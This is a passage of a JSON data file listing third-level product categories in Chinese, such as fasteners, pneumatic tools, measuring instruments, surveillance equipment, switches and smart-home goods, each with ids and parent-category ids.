9,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22565,"name":"LED设备","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22725,"name":"配电输电设备","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22711,"name":"太阳能电池","parent_cid":20289,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22657,"name":"稳压器","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22591,"name":"线材","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22660,"name":"蓄电池","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22571,"name":"泵","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22632,"name":"变速机","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22595,"name":"电池/电力配件","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22633,"name":"电动机","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22682,"name":"电机配件","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22683,"name":"电热设备","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22631,"name":"发电机","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22681,"name":"焊接设备","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22630,"name":"内燃机","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22680,"name":"压力容器","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22719,"name":"其他机电五金","parent_cid":20286,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22553,"name":"挡圈","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22552,"name":"垫圈","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22550,"name":"钉","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22557,"name":"螺钉","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22556,"name":"螺母","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22555,"name":"螺栓","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22554,"name":"螺柱","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22558,"name":"铆钉","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22559,"name":"膨胀类","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22551,"name":"销","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22561,"name":"组合件和连接副","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22560,"name":"其它紧固件","parent_cid":20276,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22625,"name":"传动件","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22577,"name":"弹簧","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22592,"name":"吊钩/抓钩","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22626,"name":"吊滑车","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22699,"name":"法兰(新)","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22583,"name":"阀门","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22676,"name":"分离设备","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22628,"name":"工作台","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22582,"name":"管夹","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22629,"name":"管接头","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22679,"name":"滚动轴承","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22580,"name":"滚筒","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22678,"name":"滑动轴承","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22728,"name":"化工管道及配件","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22579,"name":"滑轮","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22677,"name":"机械喷嘴","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22581,"name":"炉头","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22627,"name":"密封件","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22578,"name":"托辊","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22700,"name":"轴承附属件","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22731,"name":"其他机械五金(新)","parent_cid":20285,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22623,"name":"防护服","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22665,"name":"呼吸防护","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22714,"name":"交通安全保护","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28069,"name":"灭火器","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22574,"name":"绳网","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22668,"name":"手部防护","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22667,"name":"头部防护","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22669,"name":"消防器材","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22726,"name":"眼部、面部防护","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22666,"name":"坠落防护","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22696,"name":"足部防护鞋","parent_cid":20283,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22634,"name":"吹风枪","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22593,"name":"气铲/气锹","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22584,"name":"气锤","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22635,"name":"气钉枪","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22685,"name":"气动扳手","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22703,"name":"气动捣固机","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22702,"name":"气动封箱机","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22722,"name":"气动工具配件","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22704,"name":"气动搅拌机","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22723,"name":"气动棘轮扳手","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22721,"name":"气动冷压接钳","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22706,"name":"气动螺丝刀","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22707,"name":"气动铆钉机","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22705,"name":"气动磨光机","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22684,"name":"气动元件","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22585,"name":"气镐","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22636,"name":"热风枪","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22701,"name":"施工除尘器","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22720,"name":"其他气动工具","parent_cid":20287,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22539,"name":"板牙","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22541,"name":"车刀","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22540,"name":"滚刀","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22545,"name":"铰刀类","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22547,"name":"拉刀(新)","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22538,"name":"刨刀","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22537,"name":"丝锥","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22543,"name":"镗刀","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22544,"name":"铣刀类","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22542,"name":"钻头","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22546,"name":"其他刃具","parent_cid":20269,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22576,"name":"扳手","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22672,"name":"测量工具","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22670,"name":"冲、撬棒","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22570,"name":"锤","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22624,"name":"锉、刨","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22567,"name":"刀","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22718,"name":"电子电工工具","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22569,"name":"斧","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22661,"name":"工具包/箱/车","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22716,"name":"工具组合套装","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22674,"name":"焊接喷涂","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22671,"name":"划线工具","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22697,"name":"夹持类工具","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22568,"name":"剪","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22675,"name":"锯和锯条","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22727,"name":"螺丝批、旋具头","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22717,"name":"汽修汽保工具","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22698,"name":"套筒及配件","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22673,"name":"涂刷工具","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22566,"name":"凿","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22715,"name":"其他手动工具","parent_cid":20284,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22549,"name":"起重工具","parent_cid":20275,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22548,"name":"液压工具","parent_cid":20275,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22606,"name":"测厚仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22610,"name":"测距仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22605,"name":"测亩仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22608,"name":"测湿仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22611,"name":"测速仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22607,"name":"测温仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22609,"name":"测线仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22573,"name":"电表","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22694,"name":"电镀电容表","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22664,"name":"电热工具","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22616,"name":"电子秤","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22695,"name":"电阻测试仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22622,"name":"风速仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22601,"name":"干燥箱","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22618,"name":"经纬仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22604,"name":"流量计","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22691,"name":"墙体探测仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22621,"name":"钳形表","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22693,"name":"气体检测仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22692,"name":"气体探测仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22615,"name":"燃气表","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22613,"name":"热像仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22617,"name":"示波器","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22572,"name":"水表","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22602,"name":"水份仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22603,"name":"水平仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22620,"name":"酸度计","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22662,"name":"推拉力计","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22597,"name":"万用表","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22612,"name":"温控仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22663,"name":"温湿度计","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22599,"name":"压力表","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22600,"name":"噪音仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22614,"name":"照度仪","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22598,"name":"兆欧表","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22619,"name":"转速表","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22713,"name":"其它仪表仪器","parent_cid":20282,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34409,"name":"强电布线盒","parent_cid":20278,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34410,"name":"弱电布线盒","parent_cid":20278,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34411,"name":"单芯线","parent_cid":20274,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34412,"name":"电话线","parent_cid":20274,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34413,"name":"电缆线","parent_cid":20274,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34414,"name":"护套线","parent_cid":20274,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34415,"name":"视频线","parent_cid":20274,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34416,"name":"网络线","parent_cid":20274,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34417,"name":"音响线","parent_cid":20274,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22770,"name":"安防配件","parent_cid":20295,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22771,"name":"报警主机","parent_cid":20295,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22772,"name":"断电报警器","parent_cid":20295,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22774,"name":"家用单机温感探测器","parent_cid":20295,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22775,"name":"家用单机烟感探测器","parent_cid":20295,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22776,"name":"家用气体检测报警器","parent_cid":20295,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22773,"name":"入侵检测设备","parent_cid":20295,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22777,"name":"智能电子脉冲围栏系统","parent_cid":20295,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22752,"name":"4G/5G摄像头","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34325,"name":"成套监控设备","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22766,"name":"成套监控系统","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22754,"name":"光端机","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22757,"name":"画面分割器","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22767,"name":"监控器材配件","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22758,"name":"监控摄像机","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22759,"name":"监控显示器","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22762,"name":"视频采集卡","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22768,"name":"视频监控测试仪","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22760,"name":"视频解码器","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22769,"name":"视频矩阵服务器","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22761,"name":"视频转换器","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22755,"name":"识音器/集音器","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22765,"name":"硬盘录像机/DVR","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22764,"name":"音频采集卡","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22763,"name":"音频切换器","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22753,"name":"云台","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22756,"name":"字符叠加器","parent_cid":20294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34418,"name":"交换器","parent_cid":20277,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22562,"name":"插头","parent_cid":20281,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22563,"name":"接线板","parent_cid":20281,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22564,"name":"转换插头","parent_cid":20281,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34419,"name":"插卡取电开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34420,"name":"触摸开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34421,"name":"单控开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34427,"name":"调光开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34428,"name":"调速开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34422,"name":"多控开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34423,"name":"防溅盒","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34424,"name":"感应开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34425,"name":"门铃开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34426,"name":"双控开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34429,"name":"遥控开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34430,"name":"浴霸专用开关","parent_cid":20272,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34056,"name":"灯光控制系统","parent_cid":27406,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34057,"name":"电器控制系统","parent_cid":27406,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34058,"name":"楼宇智能系统","parent_cid":27406,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34059,"name":"影音控制系统","parent_cid":27406,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27404,"name":"家居系统套装","parent_cid":21294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27274,"name":"智能安防","parent_cid":21294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27275,"name":"智能按钮","parent_cid":21294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27277,"name":"智能灯光","parent_cid":21294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32155,"name":"智能家庭设备配件","parent_cid":21294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27278,"name":"智能闹钟","parent_cid":21294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27276,"name":"智能排插","parent_cid":21294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27440,"name":"其他智能家居用品","parent_cid":21294,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34060,"name":"电源转换器","parent_cid":20280,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24903,"name":"保鲜柜/冷藏柜","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"